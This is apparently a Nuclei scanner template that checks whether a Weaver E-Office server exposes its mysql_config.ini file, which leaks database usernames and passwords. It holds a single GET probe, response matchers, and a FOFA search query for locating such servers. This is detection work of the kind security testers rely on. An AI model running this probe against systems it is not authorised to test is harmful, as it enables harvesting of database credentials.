id: weaver-mysql-config-exposure

info:
  name: OA E-Office mysql_config.ini - Information Disclosure
  author: SleepingBag945
  severity: high
  description: |
    E-Office mysql_config.ini file can be directly accessed, leaking database account password and other information
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA%20E-Office%20mysql_config.ini%20%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-office
    fofa-query: app="泛微-EOffice"
  tags: ecology,weaver,oa,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mysql_config.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/plain")'
          - 'contains_all(body,"datapassword", "datauser")'
        condition: and
# digest: 4a0a0047304502200d430b4cd14fa908765dfed7fe4e8a8453c98139b8fa3a9df07b074d62fedf20022100cde77f539a2a19d7b8b00b6fe6b1a7afb5aa70a902a42001560d3825b72140c5:922c64590222798bb761d5b6d8e72950